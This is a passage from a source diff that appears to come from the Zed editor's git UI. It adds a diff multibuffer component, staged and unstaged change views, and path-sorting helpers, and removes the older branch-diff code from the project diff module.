+            editor.added_to_workspace(workspace, window, cx)
+        });
+    }
+
+    pub(crate) fn deactivated(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        self.editor.update(cx, |editor, cx| {
+            editor.rhs_editor().update(cx, |primary_editor, cx| {
+                primary_editor.deactivated(window, cx);
+            })
+        });
+    }
+
+    pub(crate) fn navigate(
+        &mut self,
+        data: Arc<dyn std::any::Any + Send>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> bool {
+        self.editor.update(cx, |editor, cx| {
+            editor.rhs_editor().update(cx, |primary_editor, cx| {
+                primary_editor.navigate(data, window, cx)
+            })
+        })
+    }
+
+    pub(crate) fn set_nav_history(&mut self, nav_history: ItemNavHistory, cx: &mut Context<Self>) {
+        self.editor.update(cx, |editor, cx| {
+            editor.rhs_editor().update(cx, |primary_editor, _| {
+                primary_editor.set_nav_history(Some(nav_history));
+            })
+        });
+    }
+
+    pub(crate) fn for_each_project_item(
+        &self,
+        cx: &App,
+        f: &mut dyn FnMut(gpui::EntityId, &dyn project::ProjectItem),
+    ) {
+        self.editor
+            .read(cx)
+            .rhs_editor()
+            .read(cx)
+            .for_each_project_item(cx, f)
+    }
+
+    pub(crate) fn save(
+        &mut self,
+        options: SaveOptions,
+        project: Entity<Project>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Task<Result<()>> {
+        self.editor.update(cx, |editor, cx| {
+            editor.rhs_editor().update(cx, |primary_editor, cx| {
+                primary_editor.save(options, project, window, cx)
+            })
+        })
+    }
+
+    pub(crate) fn reload(
+        &mut self,
+        project: Entity<Project>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Task<Result<()>> {
+        self.editor.update(cx, |editor, cx| {
+            editor.rhs_editor().update(cx, |primary_editor, cx| {
+                primary_editor.reload(project, window, cx)
+            })
+        })
+    }
+
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn excerpt_paths(&self, cx: &App) -> Vec<std::sync::Arc<util::rel_path::RelPath>> {
+        let snapshot = self
+            .editor()
+            .read(cx)
+            .rhs_editor()
+            .read(cx)
+            .buffer()
+            .read(cx)
+            .snapshot(cx);
+        snapshot
+            .excerpts()
+            .map(|excerpt| {
+                snapshot
+                    .path_for_buffer(excerpt.context.start.buffer_id)
+                    .unwrap()
+                    .path
+                    .clone()
+            })
+            .collect()
+    }
+
+    /// Returns the real (worktree-relative) path of each excerpted buffer, in
+    /// the order the excerpts appear in the multibuffer. Unlike
+    /// [`Self::excerpt_paths`], this resolves the buffer's actual `File` rather
+    /// than the (possibly synthetic) `PathKey` path used for sorting.
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn excerpt_file_paths(&self, cx: &App) -> Vec<String> {
+        let multibuffer = self
+            .editor()
+            .read(cx)
+            .rhs_editor()
+            .read(cx)
+            .buffer()
+            .clone();
+        let snapshot = multibuffer.read(cx).snapshot(cx);
+        let mut result = Vec::new();
+        let mut last_buffer_id = None;
+        for excerpt in snapshot.excerpts() {
+            let buffer_id = excerpt.context.start.buffer_id;
+            if last_buffer_id == Some(buffer_id) {
+                continue;
+            }
+            last_buffer_id = Some(buffer_id);
+            if let Some(buffer) = multibuffer.read(cx).buffer(buffer_id)
+                && let Some(file) = buffer.read(cx).file()
+            {
+                result.push(file.path().as_unix_str().to_string());
+            }
+        }
+        result
+    }
+}
+
+impl EventEmitter<EditorEvent> for DiffMultibuffer {}
+
+impl Focusable for DiffMultibuffer {
+    fn focus_handle(&self, cx: &App) -> FocusHandle {
+        if self.multibuffer.read(cx).is_empty() {
+            self.focus_handle.clone()
+        } else {
+            self.editor.focus_handle(cx)
+        }
+    }
+}
+
+impl Render for DiffMultibuffer {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let is_empty = self.multibuffer.read(cx).is_empty();
+        let is_loading = self.branch_diff.read(cx).is_tree_base_loading() || !self._task.is_ready();
+        let empty_label = self.empty_label.clone();
+
+        div()
+            .track_focus(&self.focus_handle)
+            .key_context(if is_empty { "EmptyPane" } else { "GitDiff" })
+            .bg(cx.theme().colors().editor_background)
+            .flex()
+            .items_center()
+            .justify_center()
+            .size_full()
+            .when(is_empty && is_loading, |el| {
+                let rems = TextSize::Large.rems(cx);
+                el.child(
+                    Icon::new(IconName::LoadCircle)
+                        .size(IconSize::Custom(rems))
+                        .color(Color::Accent)
+                        .with_rotate_animation(3)
+                        .into_any_element(),
+                )
+            })
+            .when(is_empty && !is_loading, |el| {
+                let remote_button = if let Some(panel) = self
+                    .workspace
+                    .upgrade()
+                    .and_then(|workspace| workspace.read(cx).panel::<GitPanel>(cx))
+                {
+                    panel.update(cx, |panel, cx| panel.render_remote_button(cx))
+                } else {
+                    None
+                };
+                let keybinding_focus_handle = self.focus_handle(cx);
+                el.child(
+                    v_flex()
+                        .gap_1()
+                        .child(h_flex().justify_around().child(Label::new(empty_label)))
+                        .map(|el| match remote_button {
+                            Some(button) => el.child(h_flex().justify_around().child(button)),
+                            None => el.child(
+                                h_flex()
+                                    .justify_around()
+                                    .child(Label::new("Remote up to date")),
+                            ),
+                        })
+                        .child(
+                            h_flex().justify_around().mt_1().child(
+                                Button::new("project-diff-close-button", "Close")
+                                    .key_binding(KeyBinding::for_action_in(
+                                        &CloseActiveItem::default(),
+                                        &keybinding_focus_handle,
+                                        cx,
+                                    ))
+                                    .on_click(move |_, window, cx| {
+                                        window.focus(&keybinding_focus_handle, cx);
+                                        window.dispatch_action(
+                                            Box::new(CloseActiveItem::default()),
+                                            cx,
+                                        );
+                                    }),
+                            ),
+                        ),
+                )
+            })
+            .when(!is_empty, |el| el.child(self.editor.clone()))
+    }
+}
+
+const CONFLICT_SORT_PREFIX: u64 = 1;
+const TRACKED_SORT_PREFIX: u64 = 2;
+const NEW_SORT_PREFIX: u64 = 3;
+
+/// Computes a stable [`PathKey`] for a buffer in the project diff.
+///
+/// The key is an intrinsic function of the file's own repo path and status; it
+/// never depends on which other buffers happen to be present in the
+/// multibuffer. This is required because the multibuffer uses the path key both
+/// to order excerpts and to identify which excerpts belong to a given buffer, so
+/// a key that shifted as files were added or removed would break that identity.
+///
+/// Status grouping is encoded in the `sort_prefix`, and the within-group order
+/// is encoded in the (possibly synthetic) path so that `PathKey`'s natural
+/// ordering reproduces the git panel's order. The path here is only ever used
+/// for sorting and multibuffer identity; the path shown in the UI comes from the
+/// buffer's own `File`.
+pub(crate) fn project_diff_path_key(
+    repo: &Repository,
+    repo_path: &RepoPath,
+    status: FileStatus,
+    cx: &App,
+) -> PathKey {
+    let settings = GitPanelSettings::get_global(cx);
+    let sort_prefix = if settings.group_by != GitPanelGroupBy::Status {
+        TRACKED_SORT_PREFIX
+    } else if repo.had_conflict_on_last_merge_head_change(repo_path) {
+        CONFLICT_SORT_PREFIX
+    } else if status.is_created() {
+        NEW_SORT_PREFIX
+    } else {
+        TRACKED_SORT_PREFIX
+    };
+    let path = project_diff_sort_path(repo_path, settings.tree_view, settings.sort_by);
+    PathKey::with_sort_prefix(sort_prefix, path)
+}
+
+fn project_diff_sort_path(
+    repo_path: &RelPath,
+    tree_view: bool,
+    sort_by: GitPanelSortBy,
+) -> Arc<RelPath> {
+    if tree_view {
+        tree_sort_path(repo_path)
+    } else {
+        match sort_by {
+            GitPanelSortBy::Path => repo_path.into_arc(),
+            GitPanelSortBy::Name => name_sort_path(repo_path),
+        }
+    }
+}
+
+/// Builds a synthetic path that sorts by file name first, falling back to the
+/// full path to keep the key unique per file.
+fn name_sort_path(repo_path: &RelPath) -> Arc<RelPath> {
+    let Some(file_name) = repo_path.file_name() else {
+        return repo_path.into_arc();
+    };
+    let synthetic = format!("{}/{}", file_name, repo_path.as_unix_str());
+    RelPath::unix(&synthetic)
+        .map(|path| path.into_arc())
+        .unwrap_or_else(|_| repo_path.into_arc())
+}
+
+/// Builds a synthetic path whose natural component-wise ordering reproduces a
+/// folder-first tree order. Each directory component is prefixed with a NUL
+/// byte, which can never appear in a real path component and sorts before every
+/// printable character, so at each level directories sort before files.
+fn tree_sort_path(repo_path: &RelPath) -> Arc<RelPath> {
+    let components: Vec<&str> = repo_path.components().collect();
+    if components.len() <= 1 {
+        return repo_path.into_arc();
+    }
+    let last = components.len() - 1;
+    let mut synthetic = String::new();
+    for (index, component) in components.into_iter().enumerate() {
+        if index > 0 {
+            synthetic.push('/');
+        }
+        if index < last {
+            synthetic.push('\0');
+        }
+        synthetic.push_str(component);
+    }
+    RelPath::unix(&synthetic)
+        .map(|path| path.into_arc())
+        .unwrap_or_else(|_| repo_path.into_arc())
+}
diff --git a/crates/git_ui/src/file_diff_view.rs b/crates/git_ui/src/file_diff_view.rs
index 477f18be545dbc..b046380b28ae40 100644
--- a/crates/git_ui/src/file_diff_view.rs
+++ b/crates/git_ui/src/file_diff_view.rs
@@ -2,7 +2,10 @@
 
 use anyhow::Result;
 use buffer_diff::BufferDiff;
-use editor::{Editor, EditorEvent, EditorSettings, MultiBuffer, SplittableEditor};
+use editor::{
+    Editor, EditorEvent, EditorSettings, MultiBuffer, RestoreOnlyUnstagedDiffHunkDelegate,
+    SplittableEditor,
+};
 use futures::{FutureExt, select_biased};
 use gpui::{
     AnyElement, App, AppContext as _, AsyncApp, Context, Entity, EventEmitter, FocusHandle,
@@ -103,11 +106,8 @@ impl FileDiffView {
                 window,
                 cx,
             );
-            splittable.rhs_editor().update(cx, |editor, _| {
-                editor.start_temporary_diff_override();
-            });
-            splittable.disable_diff_hunk_controls(cx);
-            splittable.set_render_diff_hunks_as_unstaged(cx);
+            splittable
+                .set_diff_hunk_delegate(Some(Arc::new(RestoreOnlyUnstagedDiffHunkDelegate)), cx);
             splittable
         });
 
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index e2b04699b224bb..90463f1b9e1d29 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -3,9 +3,11 @@ use crate::commit_modal::CommitModal;
 use crate::commit_tooltip::{CommitAvatar, CommitTooltip};
 use crate::commit_view::CommitView;
 use crate::git_panel_settings::GitPanelScrollbarAccessor;
-use crate::project_diff::{BranchDiff, Diff, ProjectDiff};
+use crate::project_diff::{DeployBranchDiff, Diff, ProjectDiff};
 use crate::remote_output::{self, RemoteAction, SuccessMessage};
 use crate::solo_diff_view::SoloDiffView;
+use crate::staged_diff::StagedDiff;
+use crate::unstaged_diff::UnstagedDiff;
 use crate::{branch_picker, picker_prompt, render_remote_button};
 use crate::{
     git_panel_settings::GitPanelSettings, git_status_icon, repository_selector::RepositorySelector,
@@ -37,10 +39,11 @@ use git::{
     ViewFile, parse_git_remote_url,
 };
 use gpui::{
-    AbsoluteLength, Action, Anchor, AsyncApp, AsyncWindowContext, Bounds, ClickEvent, DismissEvent,
-    Empty, Entity, EventEmitter, FocusHandle, Focusable, KeyContext, MouseButton, MouseDownEvent,
-    Point, PromptLevel, ScrollStrategy, Subscription, Task, TaskExt, TextStyle,
-    UniformListScrollHandle, WeakEntity, actions, anchored, deferred, point, size, uniform_list,
+    AbsoluteLength, Action, Anchor, AnyElement, AsyncApp, AsyncWindowContext, Bounds, ClickEvent,
+    DismissEvent, Empty, Entity, EventEmitter, FocusHandle, Focusable, KeyContext, MouseButton,
+    MouseDownEvent, Pixels, Point, PromptLevel, ScrollStrategy, Subscription, Task, TaskExt,
+    TextStyle, UniformListScrollHandle, WeakEntity, actions, anchored, deferred, point, size,
+    uniform_list,
 };
 use itertools::Itertools;
 use language::{Buffer, BufferEvent, File};
@@ -137,6 +140,10 @@ actions!(
         ExpandSelectedEntry,
         /// Collapses the selected entry to hide its children.
         CollapseSelectedEntry,
+        /// View unstaged changes
+        ViewUnstagedChanges,
+        /// View staged changes
+        ViewStagedChanges,
         /// Activates the Changes tab.
         ActivateChangesTab,
         /// Activates the History tab.
@@ -3883,6 +3890,40 @@ impl GitPanel {
         }
     }
 
+    fn view_staged_changes(
+        &mut self,
+        _: &ViewStagedChanges,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let entry = self
+            .get_selected_entry()
+            .and_then(|entry| entry.status_entry())
+            .cloned();
+        if let Some(workspace) = self.workspace.upgrade() {
+            workspace.update(cx, |workspace, cx| {
+                StagedDiff::deploy_at(workspace, entry, window, cx);
+            });
+        }
+    }
+
+    fn view_unstaged_changes(
+        &mut self,
+        _: &ViewUnstagedChanges,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let entry = self
+            .get_selected_entry()
+            .and_then(|entry| entry.status_entry())
+            .cloned();
+        if let Some(workspace) = self.workspace.upgrade() {
+            workspace.update(cx, |workspace, cx| {
+                UnstagedDiff::deploy_at(workspace, entry, window, cx);
+            });
+        }
+    }
+
     fn toggle_tree_view(&mut self, _: &ToggleTreeView, _: &mut Window, cx: &mut Context<Self>) {
         let current_setting = GitPanelSettings::get_global(cx).tree_view;
         if let Some(workspace) = self.workspace.upgrade() {
@@ -6082,7 +6123,7 @@ impl GitPanel {
                         .style(ButtonStyle::Outlined)
                         .on_click(move |_, _, cx| {
                             cx.defer(move |cx| {
-                                cx.dispatch_action(&BranchDiff);
+                                cx.dispatch_action(&DeployBranchDiff);
                             })
                         }),
                 )
@@ -6510,6 +6551,9 @@ impl GitPanel {
                 .action(stage_title, ToggleStaged.boxed_clone())
                 .action(restore_title, git::RestoreFile::default().boxed_clone())
                 .separator()
+                .action("Unstaged Changes", ViewUnstagedChanges.boxed_clone())
+                .action("Staged Changes", ViewStagedChanges.boxed_clone())
+                .separator()
                 .action_disabled_when(
                     !is_created,
                     "Add to .gitignore",
@@ -7294,6 +7338,8 @@ impl Render for GitPanel {
             .on_action(cx.listener(Self::open_diff))
             .on_action(cx.listener(Self::open_solo_diff))
             .on_action(cx.listener(Self::view_file))
+            .on_action(cx.listener(Self::view_unstaged_changes))
+            .on_action(cx.listener(Self::view_staged_changes))
             .on_action(cx.listener(Self::focus_changes_list))
             .on_action(cx.listener(Self::focus_editor))
             .on_action(cx.listener(Self::expand_commit_editor))
diff --git a/crates/git_ui/src/git_ui.rs b/crates/git_ui/src/git_ui.rs
index 08192d70c0fdae..aefd0eff50acf5 100644
--- a/crates/git_ui/src/git_ui.rs
+++ b/crates/git_ui/src/git_ui.rs
@@ -34,12 +34,14 @@ use crate::{
 };
 
 mod askpass_modal;
+pub mod branch_diff;
 pub mod branch_picker;
 mod commit_modal;
 pub mod commit_tooltip;
 pub mod commit_view;
 mod conflict_view;
 pub mod created_worktrees;
+mod diff_multibuffer;
 pub mod file_diff_view;
 pub mod git_graph;
 pub mod git_panel;
@@ -52,8 +54,10 @@ pub mod project_diff;
 pub(crate) mod remote_output;
 pub mod repository_selector;
 pub mod solo_diff_view;
+pub mod staged_diff;
 pub mod stash_picker;
 pub mod text_diff_view;
+pub mod unstaged_diff;
 pub mod worktree_names;
 pub mod worktree_picker;
 pub mod worktree_service;
@@ -87,6 +91,9 @@ pub fn init(cx: &mut App) {
 
     cx.observe_new(|workspace: &mut Workspace, _, cx| {
         ProjectDiff::register(workspace, cx);
+        staged_diff::StagedDiff::register(workspace, cx);
+        unstaged_diff::UnstagedDiff::register(workspace, cx);
+        branch_diff::BranchDiff::register(workspace, cx);
         CommitModal::register(workspace);
         git_panel::register(workspace);
         repository_selector::register(workspace);
diff --git a/crates/git_ui/src/multi_diff_view.rs b/crates/git_ui/src/multi_diff_view.rs
index f8097e68f5c8d8..7bf7682938ca56 100644
--- a/crates/git_ui/src/multi_diff_view.rs
+++ b/crates/git_ui/src/multi_diff_view.rs
@@ -1,7 +1,10 @@
 use crate::file_diff_view::build_buffer_diff;
 use anyhow::Result;
 use buffer_diff::BufferDiff;
-use editor::{Editor, EditorEvent, MultiBuffer, multibuffer_context_lines};
+use editor::{
+    Editor, EditorEvent, MultiBuffer, RestoreOnlyUnstagedDiffHunkDelegate,
+    multibuffer_context_lines,
+};
 use gpui::{
     AnyElement, App, AppContext as _, AsyncApp, Context, Entity, EventEmitter, FocusHandle,
     Focusable, Font, IntoElement, Render, SharedString, Task, Window,
@@ -196,14 +199,9 @@ impl MultiDiffView {
         let editor = cx.new(|cx| {
             let mut editor =
                 Editor::for_multibuffer(multibuffer, Some(project.clone()), window, cx);
-            editor.start_temporary_diff_override();
+            editor.set_diff_hunk_delegate(Some(Arc::new(RestoreOnlyUnstagedDiffHunkDelegate)), cx);
             editor.disable_diagnostics(cx);
             editor.set_expand_all_diff_hunks(cx);
-            editor.set_render_diff_hunks_as_unstaged(true, cx);
-            editor.set_render_diff_hunk_controls(
-                Arc::new(|_, _, _, _, _, _, _, _| gpui::Empty.into_any_element()),
-                cx,
-            );
             editor
         });
 
diff --git a/crates/git_ui/src/project_diff.rs b/crates/git_ui/src/project_diff.rs
index 91f351bec29d63..d674be55766d94 100644
--- a/crates/git_ui/src/project_diff.rs
+++ b/crates/git_ui/src/project_diff.rs
@@ -1,56 +1,41 @@
 use crate::{
-    branch_picker, conflict_view,
+    diff_multibuffer::DiffMultibuffer,
     git_panel::{GitPanel, GitPanelAddon, GitStatusEntry},
-    git_panel_settings::GitPanelSettings,
+    staged_diff::StagedDiff,
+    unstaged_diff::UnstagedDiff,
 };
-use agent_settings::AgentSettings;
-use anyhow::{Context as _, Result, anyhow};
-use buffer_diff::{BufferDiff, DiffHunkSecondaryStatus};
-use collections::HashMap;
+use anyhow::{Context as _, Result};
+use buffer_diff::DiffHunkSecondaryStatus;
 use editor::{
-    Addon, Editor, EditorEvent, EditorSettings, SelectionEffects, SplittableEditor,
+    Editor, EditorEvent, SplittableEditor, UncommittedDiffHunkDelegate,
     actions::{GoToHunk, GoToPreviousHunk, SendReviewToAgent},
-    multibuffer_context_lines,
-    scroll::Autoscroll,
-};
-use futures_lite::future::yield_now;
-use git::repository::DiffType;
-
-use git::{
-    Commit, StageAll, StageAndNext, ToggleStaged, UnstageAll, UnstageAndNext, repository::RepoPath,
-    status::FileStatus,
 };
+use git::{Commit, StageAll, StageAndNext, ToggleStaged, UnstageAll, UnstageAndNext};
 use gpui::{
-    Action, AnyElement, App, AppContext as _, AsyncWindowContext, Entity, EventEmitter,
-    FocusHandle, Focusable, Render, Subscription, Task, WeakEntity, actions,
+    Action, AnyElement, App, AppContext as _, Entity, EventEmitter, FocusHandle, Focusable, Render,
+    Subscription, Task, WeakEntity, actions,
 };
-use language::{Anchor, Buffer, BufferId, Capability, OffsetRangeExt};
-use multi_buffer::{MultiBuffer, PathKey};
+use language::Capability;
+use multi_buffer::MultiBuffer;
 use project::{
-    ConflictSet, Project, ProjectPath,
+    Project, ProjectPath,
     git_store::{
         Repository,
-        branch_diff::{self, BranchDiffEvent, DiffBase},
+        diff_buffer_list::{self, DiffBase},
     },
 };
-use settings::{GitPanelGroupBy, GitPanelSortBy, Settings, SettingsStore};
+use schemars::JsonSchema;
+use serde::Deserialize;
 use std::any::{Any, TypeId};
-use std::collections::BTreeMap;
 use std::sync::Arc;
-use theme::ActiveTheme;
-use ui::{
-    CommonAnimationExt as _, DiffStat, Divider, KeyBinding, PopoverMenu, Tooltip, prelude::*,
-};
-use util::{ResultExt as _, rel_path::RelPath};
+use ui::{DiffStat, Divider, Tooltip, prelude::*};
 use workspace::{
-    CloseActiveItem, ItemNavHistory, SerializableItem, ToolbarItemEvent, ToolbarItemLocation,
-    ToolbarItemView, Workspace,
+    ItemNavHistory, SerializableItem, ToolbarItemEvent, ToolbarItemLocation, ToolbarItemView,
+    Workspace,
     item::{Item, ItemEvent, ItemHandle, SaveOptions, TabContentParams},
-    notifications::NotifyTaskExt,
     searchable::SearchableItemHandle,
 };
-use zed_actions::agent::ReviewBranchDiff;
-use ztracing::instrument;
+use zed_actions::git as git_actions;
 
 actions!(
     git,
@@ -59,9 +44,6 @@ actions!(
         Diff,
         /// Adds files to the git staging area.
         Add,
-        /// Shows the diff between the working directory and your default
-        /// branch (typically main or master).
-        BranchDiff,
         /// Opens a new agent thread with the branch diff for review.
         ReviewDiff,
         LeaderAndFollower,
@@ -70,32 +52,37 @@ actions!(
     ]
 );
 
-struct BufferSubscriptions {
-    _diff: Entity<BufferDiff>,
-    _diff_subscription: Subscription,
-    _conflict_set: Entity<ConflictSet>,
-    _conflict_set_subscription: Subscription,
-}
+/// Shows the diff between the working directory and your default
+/// branch (typically main or master).
+#[derive(PartialEq, Clone, Deserialize, Default, JsonSchema, Action)]
+#[action(namespace = git, name = "BranchDiff")]
+pub(crate) struct DeployBranchDiff;
 
 pub struct ProjectDiff {
     project: Entity<Project>,
-    multibuffer: Entity<MultiBuffer>,
-    branch_diff: Entity<branch_diff::BranchDiff>,
-    editor: Entity<SplittableEditor>,
-    buffer_subscriptions: HashMap<Arc<RelPath>, BufferSubscriptions>,
     workspace: WeakEntity<Workspace>,
-    focus_handle: FocusHandle,
-    pending_scroll: Option<PathKey>,
-    review_comment_count: usize,
-    _task: Task<Result<()>>,
-    _subscription: Subscription,
+    diff: Entity<DiffMultibuffer>,
+    _diff_observation: Subscription,
 }
 
 impl ProjectDiff {
     pub(crate) fn register(workspace: &mut Workspace, cx: &mut Context<Workspace>) {
         workspace.register_action(Self::deploy);
-        workspace.register_action(Self::deploy_branch_diff);
-        workspace.register_action(Self::compare_with_branch);
+        workspace.register_action(
+            |workspace, _: &git_actions::ViewUncommittedChanges, window, cx| {
+                Self::deploy_at(workspace, None, window, cx);
+            },
+        );
+        workspace.register_action(
+            |workspace, _: &git_actions::ViewUnstagedChanges, window, cx| {
+                UnstagedDiff::deploy_at(workspace, None, window, cx);
+            },
+        );
+        workspace.register_action(
+            |workspace, _: &git_actions::ViewStagedChanges, window, cx| {
+                StagedDiff::deploy_at(workspace, None, window, cx);
+            },
+        );
         workspace.register_action(|workspace, _: &Add, window, cx| {
             Self::deploy(workspace, &Diff, window, cx);
         });
@@ -111,216 +98,6 @@ impl ProjectDiff {
         Self::deploy_at(workspace, None, window, cx)
     }
 
-    fn deploy_branch_diff(
-        workspace: &mut Workspace,
-        _: &BranchDiff,
-        window: &mut Window,
-        cx: &mut Context<Workspace>,
-    ) {
-        telemetry::event!("Git Branch Diff Opened");
-        let project = workspace.project().clone();
-        let Some(intended_repo) = project.read(cx).active_repository(cx) else {
-            let workspace = cx.entity().downgrade();
-            window
-                .spawn(cx, async |_cx| {
-                    let result: Result<()> = Err(anyhow!("No active repository"));
-                    result
-                })
-                .detach_and_notify_err(workspace, window, cx);
-            return;
-        };
-
-        let default_branch = intended_repo.update(cx, |repo, _| repo.default_branch(true));
-        let workspace = cx.entity();
-        let workspace_weak = workspace.downgrade();
-        window
-            .spawn(cx, async move |cx| {
-                let base_ref = default_branch
-                    .await??
-                    .context("Could not determine default branch")?;
-
-                workspace.update_in(cx, |workspace, window, cx| {
-                    Self::deploy_branch_diff_with_base_ref(
-                        workspace,
-                        project,
-                        intended_repo,
-                        base_ref,
-                        window,
-                        cx,
-                    );
-                })?;
-
-                anyhow::Ok(())
-            })
-            .detach_and_notify_err(workspace_weak, window, cx);
-    }
-
-    fn compare_with_branch(
-        workspace: &mut Workspace,
-        _: &CompareWithBranch,
-        window: &mut Window,
-        cx: &mut Context<Workspace>,
-    ) {
-        let project = workspace.project().clone();
-        let Some(repository) = project.read(cx).active_repository(cx) else {
-            let workspace = cx.entity().downgrade();
-            window
-                .spawn(cx, async |_cx| {
-                    let result: Result<()> = Err(anyhow!("No active repository"));
-                    result
-                })
-                .detach_and_notify_err(workspace, window, cx);
-            return;
-        };
-        let selected_branch = workspace.active_item_as::<Self>(cx).and_then(|item| {
-            match item.read(cx).diff_base(cx) {
-                DiffBase::Merge { base_ref } => Some(base_ref.clone()),
-                DiffBase::Head => None,
-            }
-        });
-        let workspace_handle = workspace.weak_handle();
-        let on_select = Arc::new({
-            let repository = repository.clone();
-            let workspace = workspace_handle.clone();
-            move |branch: git::repository::Branch, window: &mut Window, cx: &mut App| {
-                let base_ref: SharedString = branch.name().to_owned().into();
-                workspace
-                    .update(cx, |workspace, cx| {
-                        Self::deploy_branch_diff_with_base_ref(
-                            workspace,
-                            project.clone(),
-                            repository.clone(),
-                            base_ref,
-                            window,
-                            cx,
-                        );
-                    })
-                    .ok();
-            }
-        });
-
-        workspace.toggle_modal(window, cx, |window, cx| {
-            branch_picker::select_modal(
-                workspace_handle,
-                Some(repository),
-                selected_branch,
-                on_select,
-                window,
-                cx,
-            )
-        });
-    }
-
-    fn deploy_branch_diff_with_base_ref(
-        workspace: &mut Workspace,
-        project: Entity<Project>,
-        intended_repo: Entity<Repository>,
-        base_ref: SharedString,
-        window: &mut Window,
-        cx: &mut Context<Workspace>,
-    ) {
-        let existing = workspace.items_of_type::<Self>(cx).find(|item| {
-            let item = item.read(cx);
-            matches!(
-                item.diff_base(cx),
-                DiffBase::Merge { base_ref: existing_base_ref } if existing_base_ref == &base_ref
-            )
-        });
-        if let Some(existing) = existing {
-            workspace.activate_item(&existing, true, true, window, cx);
-
-            let needs_switch = existing
-                .read(cx)
-                .branch_diff
-                .read(cx)
-                .repo()
-                .map_or(true, |current| {
-                    current.read(cx).id != intended_repo.read(cx).id
-                });
-
-            if needs_switch {
-                existing.update(cx, |project_diff, cx| {
-                    project_diff.branch_diff.update(cx, |branch_diff, cx| {
-                        branch_diff.set_repo(Some(intended_repo), cx);
-                    });
-                });
-            }
-
-            return;
-        }
-
-        let workspace = cx.entity();
-        let workspace_weak = workspace.downgrade();
-        window
-            .spawn(cx, async move |cx| {
-                let this = cx
-                    .update(|window, cx| {
-                        Self::new_with_branch_base(
-                            project,
-                            workspace.clone(),
-                            base_ref,
-                            intended_repo,
-                            window,
-                            cx,
-                        )
-                    })?
-                    .await?;
-                workspace
-                    .update_in(cx, |workspace, window, cx| {
-                        workspace.add_item_to_active_pane(Box::new(this), None, true, window, cx);
-                    })
-                    .ok();
-                anyhow::Ok(())
-            })
-            .detach_and_notify_err(workspace_weak, window, cx);
-    }
-
-    fn review_diff(&mut self, _: &ReviewDiff, window: &mut Window, cx: &mut Context<Self>) {
-        let diff_base = self.diff_base(cx).clone();
-        let DiffBase::Merge { base_ref } = diff_base else {
-            return;
-        };
-
-        let Some(repo) = self.branch_diff.read(cx).repo().cloned() else {
-            return;
-        };
-
-        let diff_receiver = repo.update(cx, |repo, cx| {
-            repo.diff(
-                DiffType::MergeBase {
-                    base_ref: base_ref.clone(),
-                },
-                cx,
-            )
-        });
-
-        let workspace = self.workspace.clone();
-
-        window
-            .spawn(cx, {
-                let workspace = workspace.clone();
-                async move |cx| {
-                    let diff_text = diff_receiver.await??;
-
-                    if let Some(workspace) = workspace.upgrade() {
-                        workspace.update_in(cx, |_workspace, window, cx| {
-                            window.dispatch_action(
-                                ReviewBranchDiff {
-                                    diff_text: diff_text.into(),
-                                    base_ref,
-                                }
-                                .boxed_clone(),
-                                cx,
-                            );
-                        })?;
-                    }
-
-                    anyhow::Ok(())
-                }
-            })
-            .detach_and_notify_err(workspace, window, cx);
-    }
-
     pub fn deploy_at(
         workspace: &mut Workspace,
         entry: Option<GitStatusEntry>,
@@ -337,9 +114,7 @@ impl ProjectDiff {
         );
         let intended_repo = workspace.project().read(cx).active_repository(cx);
 
-        let existing = workspace
-            .items_of_type::<Self>(cx)
-            .find(|item| matches!(item.read(cx).diff_base(cx), DiffBase::Head));
+        let existing = workspace.items_of_type::<Self>(cx).next();
         let project_diff = if let Some(existing) = existing {
             existing.update(cx, |project_diff, cx| {
                 project_diff.move_to_beginning(window, cx);
@@ -364,15 +139,11 @@ impl ProjectDiff {
         if let Some(intended) = &intended_repo {
             let needs_switch = project_diff
                 .read(cx)
-                .branch_diff
-                .read(cx)
-                .repo()
+                .repo(cx)
                 .map_or(true, |current| current.read(cx).id != intended.read(cx).id);
             if needs_switch {
                 project_diff.update(cx, |project_diff, cx| {
-                    project_diff.branch_diff.update(cx, |branch_diff, cx| {
-                        branch_diff.set_repo(Some(intended.clone()), cx);
-                    });
+                    project_diff.set_repo(Some(intended.clone()), cx);
                 });
             }
         }
@@ -391,9 +162,7 @@ impl ProjectDiff {
         cx: &mut Context<Workspace>,
     ) {
         telemetry::event!("Git Diff Opened", source = "Agent Panel");
-        let existing = workspace
-            .items_of_type::<Self>(cx)
-            .find(|item| matches!(item.read(cx).diff_base(cx), DiffBase::Head));
+        let existing = workspace.items_of_type::<Self>(cx).next();
         let project_diff = if let Some(existing) = existing {
             workspace.activate_item(&existing, true, true, window, cx);
             existing
@@ -416,71 +185,7 @@ impl ProjectDiff {
     }
 
     pub fn autoscroll(&self, cx: &mut Context<Self>) {
-        self.editor.update(cx, |editor, cx| {
-            editor.rhs_editor().update(cx, |editor, cx| {
-                editor.request_autoscroll(Autoscroll::fit(), cx);
-            })
-        })
-    }
-
-    #[cfg(test)]
-    #[allow(dead_code)]
-    fn new_with_default_branch(
-        project: Entity<Project>,
-        workspace: Entity<Workspace>,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> Task<Result<Entity<Self>>> {
-        let Some(repo) = project.read(cx).git_store().read(cx).active_repository() else {
-            return Task::ready(Err(anyhow!("No active repository")));
-        };
-        let main_branch = repo.update(cx, |repo, _| repo.default_branch(true));
-        window.spawn(cx, async move |cx| {
-            let main_branch = main_branch
-                .await??
-                .context("Could not determine default branch")?;
-
-            let branch_diff = cx.new_window_entity(|window, cx| {
-                let mut branch_diff = branch_diff::BranchDiff::new(
-                    DiffBase::Merge {
-                        base_ref: main_branch,
-                    },
-                    project.clone(),
-                    window,
-                    cx,
-                );
-                branch_diff.set_repo(Some(repo.clone()), cx);
-                branch_diff
-            })?;
-            cx.new_window_entity(|window, cx| {
-                Self::new_impl(branch_diff, project, workspace, window, cx)
-            })
-        })
-    }
-
-    fn new_with_branch_base(
-        project: Entity<Project>,
-        workspace: Entity<Workspace>,
